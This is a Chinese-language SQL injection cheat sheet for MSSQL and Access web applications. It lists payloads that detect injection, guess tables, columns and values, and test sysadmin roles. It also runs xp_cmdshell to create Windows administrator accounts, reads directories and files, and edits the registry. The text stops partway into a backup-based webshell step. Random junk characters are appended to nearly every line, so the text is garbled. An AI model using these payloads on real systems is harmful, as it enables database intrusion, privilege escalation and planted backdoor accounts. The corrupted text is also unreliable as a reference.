1.判断是否有注入;and 1=1 ;and 1=2 ,(4K4pN
2.初步判断是否是mssql ;and user>0 H.2QKws^F
Dxxm="FQZ
3.注入参数是字符'and [查询条件] and ''=' :yjFQ9^?&
;GhNKPY
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 7)k\{&+P
km40qO@3
5.判断数据库系统 XrPfotj1
F>cv<l
=6l
;and (select count(*) from sysobjects)>0 mssql @K]|K]cby
*:NQ&y*uj
;and (select count(*) from msysobjects)>0 access 8*fv'
HKr
Mim-
:c[L3rJl
%[yJ4WL
6.猜数据库 ;and (select Count(*) from [数据库名])>0 9S -9.mvop
f9\X>zzB2|
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 JZ#[
2mLh
&M'*6A
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 [mHdG2X
,: ->ErP
9.(1)猜字段的ascii值(access) (~en (
^VACf|0
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 eIo7F m
"T"h)L<
(2)猜字段的ascii值(mssql) ##o#eZq:"
ow#1="G,=
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 42{:G8
; Hd7*`$
10.测试权限结构(mssql) 7!$^r$t
-tNUMi'
!YJs]_Wr
d:{O\
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- e!r-+.i(
AvHCO8h|
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- @gtQQxf"
^BL"wk
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 2>H24F
5 BJmA2L
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- e,5C8Q`Z
/OJ`c`>Q:
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- O<e{
e*n@j
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- W,-g=6,
*|E[L^
;and 1=(select IS_MEMBER('db_owner'));-- XS BA$y
uOGw9O-d9
ilva,WFa^
-o.:P>/
11.添加mssql和系统的帐户 W"3ph6[eW
"x /OIf
;exec master.dbo.sp_addlogin username;-- _Y[bMuUb=
;exec master.dbo.sp_password null,username,password;-- [66!bM&
uXq.
]ub
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 9<)NvU^-r
(Clkv
;exec master.dbo.xp_cmdshell 'net user username password 4 N7^?
eNu7~3k}
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Jdp3nzM^^@
:Xd<74Nu
;exec master.dbo.xp_cmdshell 'net user username password /add';-- {GcO3G#FZ
,i@:5X/t
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Z87|Zl
>6pf$0
Zoc0!84<z
~F?u)~QZ#
12.(1)遍历目录 !7&5` q7
,-e{(L
;create table dirs(paths varchar(100), id int) .K<Q&
ED&
`_h7?
;insert dirs exec master.dbo.xp_dirtree 'c:\' /Qk4
9
5RBO4w%w
;and (select top 1 paths from dirs)>0 f0aKlhEC
gOOPe5+ J
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Vl!6W@g
(NnH:J`
0k(a VkZ I
19KQlMO.G
(2)遍历目录 9]wN Bd
b,%C{mC
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- +XYE {E5
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ")HFYqP>9
~<OSYb
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 L`EBfz\n
)Iq <+IJ
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 {s{j~M
w(TJ*::T
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 QW~1%`
V}NbuvDB@
1|6%evPu(
lR6x3C
H@
13.mssql中的存储过程 pQ<Y:-`c
ig':%2V/
xp_regenumvalues 注册表根键, 子键 Oh\<VvZuN
A7hVHxNJ-
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 g!z&~Z:
^B2
-)
xp_regread 根键,子键,键值名 klR|6u]%
fLm*1S|%\
;exec xp_regread |WdPE@P
\`\ZTZni
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 B i<Q=x'Z;
hzbw>g+
xp_regwrite 根键,子键, 值名, 值类型, 值 Wh2tNyS
v+=BCyT
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 3nnJ8zQ
Eue~Y+K*b
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
}sO&. ME
\K]0JH
xp_regdeletevalue 根键,子键,值名 FzXJ]H
)sp4Ie
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 h_IDO%
R=
o2K
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 1"M]3Kl
:e%Pvk
1!T1Y,w
=-lb)Z"d
14.mssql的backup创建webshell {9aE5kR
"djw>|,N<
use model tlp@?(u
3az&